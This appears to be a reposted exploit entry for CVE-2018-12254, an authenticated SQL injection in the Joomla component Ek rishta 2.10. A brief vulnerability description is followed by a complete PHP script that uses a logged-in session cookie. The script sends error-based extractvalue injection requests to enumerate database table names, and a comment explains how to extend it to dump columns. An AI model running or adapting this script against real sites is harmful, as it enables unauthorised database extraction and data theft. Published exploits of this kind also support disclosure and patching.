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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: SQL Injection Joomla Component Ek rishta 2.10 - SQL Injection
# Date: 2018-06-14
# Exploit Author: Guilherme Assmann
# Vendor Homepage:https://www.joomla.org/
# Version: 2.10
# Tested on: MacOSX, Safari, Chrome
# Download: https://extensions.joomla.org/extension/ek-rishta/
# CVE: CVE-2018-12254

# Vulnerability Description
# To exploit this vulnerability, the user must be logged on to the platform!
# the vulnerability allows SQL Injection via the
# PATH_INFO to a home/requested_user/Sent%20interest/[username] URI.
# more information(en): 
# https://fireshellsecurity.team/cve-2018-12254-sql-injection-joomla-component/
# more information(pt-br): https://m4k4br0.github.io/sql-injection-joomla-component/
# more information: https://desecsecurity.com/
# exploit code to dump tables:

<?php

// CVE-2018-12254

// after dump the tables, use %60%23table_name%60 to dump columns...

$host = $argv[1];
$cookie = $argv[2];

// Usage: php exploit.php [http://[HOST]/](http://[host]/) “Cookie: foo=bar”
function exploit($host,$ck){
$urls = sqli();
$ch = curl_init();
foreach($urls as $url){
curl_setopt($ch,CURLOPT_URL,$host.$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,":)");
curl_setopt($ch,CURLOPT_HTTPHEADER, [$ck]);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,100);
curl_setopt($ch,CURLOPT_TIMEOUT,100);
$response = curl_exec($ch);
$s =  strpos($response,"#__");
echo substr($response,$s,30)."\n";
}
}
function sqli(){
$uri = "/index.php/home/requested_user/Sent%20interest/1'or%20";
for($i=0;$i<100;$i++){
$value = $i+1;
$data[$i] = $uri.str_replace("+","%20",urlencode('extractvalue(0xa,concat(0xa,(select table_name from information_schema.tables where table_schema=database() limit '.$value.',1))) #'));
}
return $data;
}
exploit($host,$cookie);
?>